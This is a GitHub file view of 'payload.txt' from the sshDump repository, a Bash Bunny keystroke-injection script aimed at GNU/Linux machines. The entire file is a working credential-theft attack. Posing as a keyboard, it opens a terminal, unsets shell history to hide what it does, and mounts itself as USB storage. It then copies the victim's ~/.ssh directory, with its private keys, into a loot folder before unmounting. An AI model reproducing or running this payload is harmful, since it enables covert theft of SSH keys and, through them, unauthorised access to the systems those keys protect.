sshDump/payload.txt at main · drapl0n/sshDump · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Title: sshDump
# Description: Taking advantage of plain stored ssh private keys in home dir, sshDump grabs them for you.
# AUTHOR: drapl0n
# Version: 1.0
# Category: Credentials
# Target: GNU/Linux.
# Attackmodes: HID, Storage.

LED SETUP
ATTACKMODE STORAGE HID
GET SWITCH_POSITION
LED ATTACK
Q DELAY 1000
Q CTRL-ALT t
Q DELAY 1000

# [Prevent storing history]
Q STRING unset HISTFILE
Q ENTER
Q DELAY 200

# [Fetching BashBunny's block device]
Q STRING lol='$(lsblk | grep 1.8G)'
Q ENTER
Q DELAY 100
Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)''
Q ENTER
Q DELAY 200

# [Mounting BashBunny]
Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp
Q ENTER
Q DELAY 2000
Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)''
Q ENTER
Q DELAY 500

# [Looting]
Q STRING cp -r '~/.ssh' '$mntt/loot/SSH'
Q ENTER
Q DELAY 2000

# [Unmounting BashBunny]
Q STRING udisksctl unmount -b /dev/'$disk'
Q ENTER
Q DELAY 500
Q STRING exit
Q ENTER
LED FINISH